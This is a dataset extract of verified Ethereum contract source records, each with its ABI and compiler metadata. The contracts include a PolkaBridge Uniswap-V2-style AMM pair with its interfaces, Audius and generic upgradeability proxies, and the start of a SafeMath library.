// uint public override kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
uint256 private releaseTime;
uint256 private lockTime = 2 days;
modifier lock() {
require(unlocked == 1, 'PolkaBridge AMM: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
override
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(
address token,
address to,
uint256 value
) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'PolkaBridge AMM: TRANSFER_FAILED');
}
constructor() {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1, address _treasury) external override {
require(msg.sender == factory, 'PolkaBridge AMM: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
// ownerAddress = _owner;
treasury = _treasury;
}
// force reserves to match balances
function sync() external override lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(int112(-1)) && balance1 <= uint112(int112(-1)), 'PolkaBridge AMM: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external override lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0 - _reserve0;
uint256 amount1 = balance1 - _reserve1;
// bool feeOn = false;//_mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (totalSupply == 0) {
liquidity = Math.sqrt(amount0 * amount1);// - MINIMUM_LIQUIDITY;
// _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0 * totalSupply / _reserve0, amount1 * totalSupply / _reserve1);
}
require(liquidity > 0, 'PolkaBridge AMM: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0) * reserve1; // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external override lock returns (uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20(_token0).balanceOf(address(this));
uint256 balance1 = IERC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
// bool feeOn = _mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity * balance0 / totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity * balance1 / totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'PolkaBridge AMM: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0) * reserve1; // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to) external override lock {
require(amount0Out > 0 || amount1Out > 0, 'PolkaBridge AMM: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'PolkaBridge AMM: INSUFFICIENT_LIQUIDITY');
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
// address _token0 = token0;
// address _token1 = token1;
require(to != token0 && to != token1, 'PolkaBridge AMM: INVALID_TO');
if (amount0Out > 0) _safeTransfer(token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(token1, to, amount1Out); // optimistically transfer tokens
balance0 = IERC20(token0).balanceOf(address(this));
balance1 = IERC20(token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'PolkaBridge AMM: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0 * 1000 - amount0In * 2;
uint balance1Adjusted = balance1 * 1000 - amount1In * 2;
// require(false, string(abi.encodePacked(uint2str(_reserve0), ' : ', uint2str(_reserve1), ' : ', uint2str(balance0), ' : ', uint2str(balance1), ' : ', uint2str(amount0In), ' : ', uint2str(amount1In))));
require(balance0Adjusted * balance1Adjusted >= uint(_reserve0) * _reserve1 * (1000**2), 'PolkaBridge AMM: K');
}
uint256 amount0Treasury = amount0In / 2500; // amount0In * 4 / 10000;
uint256 amount1Treasury = amount1In / 2500; // amount1In * 4 / 10000;
if (amount0Treasury > 0) {
require(treasury != address(0), 'Treasury address error');
_safeTransfer(token0, treasury, amount0Treasury);
balance0 = balance0 - amount0Treasury;
}
if (amount1Treasury > 0) {
require(treasury != address(0), 'Treasury address error');
_safeTransfer(token1, treasury, amount1Treasury);
balance1 = balance1 - amount1Treasury;
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERMIT_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"burn","outputs":[{"internalType":"uint256","name":"amount0","type":"uint256"},{"internalType":"uint256","name":"amount1","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getReserves","outputs":[{"internalType":"uint112","name":"_reserve0","type":"uint112"},{"internalType":"uint112","name":"_reserve1","type":"uint112"},{"internalType":"uint32","name":"_blockTimestampLast","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token0","type":"address"},{"internalType":"address","name":"_token1","type":"address"},{"internalType":"address","name":"_treasury","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"mint","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32"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| v0.8.0+commit.c7dfd78e | true | 200 | Default | false | |||||
UniswapV2Pair | /contracts/interfaces/IUniswapV2Pair.sol | 0x173cf7c7356f71c3e75ce02f9cc777fb762b5080 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import './IUniswapV2ERC20.sol';
interface IUniswapV2Pair is IUniswapV2ERC20 {
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
// event BurnETH(address indexed sender, uint amount0, uint amount1, address indexed to, address indexed to1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
// event TreasurySet(address _address);
// function setTreasuryAddress(address _address) external;
// function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
// function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
// function burnETH(address to, address to1) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to) external;
// function skim(address to) external;
function sync() external;
function initialize(address, address, address) external;
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERMIT_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"burn","outputs":[{"internalType":"uint256","name":"amount0","type":"uint256"},{"internalType":"uint256","name":"amount1","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getReserves","outputs":[{"internalType":"uint112","name":"_reserve0","type":"uint112"},{"internalType":"uint112","name":"_reserve1","type":"uint112"},{"internalType":"uint32","name":"_blockTimestampLast","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token0","type":"address"},{"internalType":"address","name":"_token1","type":"address"},{"internalType":"address","name":"_treasury","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"mint","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"price0CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price1CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount0Out","type":"uint256"},{"internalType":"uint256","name":"amount1Out","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sync","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"token0","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | true | 200 | Default | false | |||||
UniswapV2Pair | /contracts/interfaces/IERC20.sol | 0x173cf7c7356f71c3e75ce02f9cc777fb762b5080 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
} | 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,"name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"price0CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price1CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount0Out","type":"uint256"},{"internalType":"uint256","name":"amount1Out","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sync","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"token0","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | true | 200 | Default | false | |||||
AudiusAdminUpgradeabilityProxy | contracts/AudiusAdminUpgradeabilityProxy.sol | 0x44617f9dced9787c3b06a05b35b4c779a2aa1334 | Solidity | pragma solidity ^0.5.0;
/**
* @notice Wrapper around OpenZeppelin's UpgradeabilityProxy contract.
* Permissions proxy upgrade logic to Audius Governance contract.
* https://github.com/OpenZeppelin/openzeppelin-sdk/blob/release/2.8/packages/lib/contracts/upgradeability/UpgradeabilityProxy.sol
* @dev Any logic contract that has a signature clash with this proxy contract will be unable to call those functions
* Please ensure logic contract functions do not share a signature with any functions defined in this file
*/
contract AudiusAdminUpgradeabilityProxy is UpgradeabilityProxy {
address private proxyAdmin;
string private constant ERROR_ONLY_ADMIN = (
"AudiusAdminUpgradeabilityProxy: Caller must be current proxy admin"
);
/**
* @notice Sets admin address for future upgrades
* @param _logic - address of underlying logic contract.
* Passed to UpgradeabilityProxy constructor.
* @param _proxyAdmin - address of proxy admin
* Set to governance contract address for all non-governance contracts
* Governance is deployed and upgraded to have own address as admin
* @param _data - data of function to be called on logic contract.
* Passed to UpgradeabilityProxy constructor.
*/
constructor(
address _logic,
address _proxyAdmin,
bytes memory _data
)
UpgradeabilityProxy(_logic, _data) public payable
{
proxyAdmin = _proxyAdmin;
}
/**
* @notice Upgrade the address of the logic contract for this proxy
* @dev Recreation of AdminUpgradeabilityProxy._upgradeTo.
* Adds a check to ensure msg.sender is the Audius Proxy Admin
* @param _newImplementation - new address of logic contract that the proxy will point to
*/
function upgradeTo(address _newImplementation) external {
require(msg.sender == proxyAdmin, ERROR_ONLY_ADMIN);
_upgradeTo(_newImplementation);
}
/**
* @return Current proxy admin address
*/
function getAudiusProxyAdminAddress() external view returns (address) {
return proxyAdmin;
}
/**
* @return The address of the implementation.
*/
function implementation() external view returns (address) {
return _implementation();
}
/**
* @notice Set the Audius Proxy Admin
* @dev Only callable by current proxy admin address
* @param _adminAddress - new admin address
*/
function setAudiusProxyAdminAddress(address _adminAddress) external {
require(msg.sender == proxyAdmin, ERROR_ONLY_ADMIN);
proxyAdmin = _adminAddress;
}
} | [{"inputs":[{"internalType":"address","name":"_logic","type":"address"},{"internalType":"address","name":"_proxyAdmin","type":"address"},{"internalType":"bytes","name":"_data","type":"bytes"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"implementation","type":"address"}],"name":"Upgraded","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"getAudiusProxyAdminAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_adminAddress","type":"address"}],"name":"setAudiusProxyAdminAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newImplementation","type":"address"}],"name":"upgradeTo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 000000000000000000000000c41bd365479df890676ea3057a063456c1066bef0000000000000000000000004deca517d6817b6510798b7328f2314d3003abac00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000044485cc95500000000000000000000000018aaa7115705e8be94bffebde57af9bfc265b9980000000000000000000000004deca517d6817b6510798b7328f2314d3003abac00000000000000000000000000000000000000000000000000000000 | istanbul | Apache-2.0 | true | 0xc41bd365479df890676ea3057a063456c1066bef | bzzr://a551cf727c8099373373b8689dcdfc966296cba633c0ebc5ddca4eebe5655689 |
|
OwnedUpgradeabilityProxy | Proxy.sol | 0xfc59740f2c0067bc5cd332decf0fc8764bf60cd8 | Solidity | pragma solidity 0.5.7;
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
contract Proxy {
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function () external payable {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view returns (address);
} | [{"constant":true,"inputs":[],"name":"proxyOwner","outputs":[{"name":"owner","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_implementation","type":"address"}],"name":"upgradeTo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"name":"impl","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferProxyOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_implementation","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"previousOwner","type":"address"},{"indexed":false,"name":"newOwner","type":"address"}],"name":"ProxyOwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"implementation","type":"address"}],"name":"Upgraded","type":"event"}] | v0.5.7+commit.6da8b019 | true | 200 | 00000000000000000000000080b72ce39b3d73c46b2b8b9ef3acbf300a0077e7 | Default | false | bzzr://6870606a08d39cd582e65c880d54753c2c1a89f81be1bb59b117f3baa5362668 |
|||
Solstarter | Solstarter.sol | 0x57bbbb7f62223497a46834ac5afcc4c1fb6d7c65 | Solidity | pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
